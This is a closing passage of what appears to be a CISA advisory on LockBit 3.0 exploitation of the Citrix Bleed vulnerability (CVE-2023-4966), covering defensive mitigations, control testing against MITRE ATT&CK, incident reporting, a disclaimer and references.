  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies.
    • Use longer passwords consisting of at least 15 characters [CPG 2.B].
    • Store passwords in hashed format using industry-recognized password managers.
    • Add password user “salts” to shared login credentials.
    • Avoid reusing passwords [CPG 2.C].
    • Implement multiple failed login attempt account lockouts [CPG 2.G].
    • Disable password “hints.”
    • Require administrator credentials to install software.
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
    • Upgrade vulnerable NetScaler ADC and Gateway appliances to the latest version available to lower the risk of compromise.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 1).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and the authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with LockBit 3.0 affiliates, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI Internet Crime Complaint Center (IC3) at ic3.gov, local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring organizations.

ACKNOWLEDGEMENTS

Boeing contributed to this CSA.

REFERENCES

[1] NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2023-4966

[2] Investigation of Session Hijacking via Citrix NetScaler ADC and Gateway Vulnerability (CVE-2023-4966

[3] What is Mshta, How Can it Be Used and How to Protect Against it (McAfee)

VERSION HISTORY

November 21, 2023: Initial version.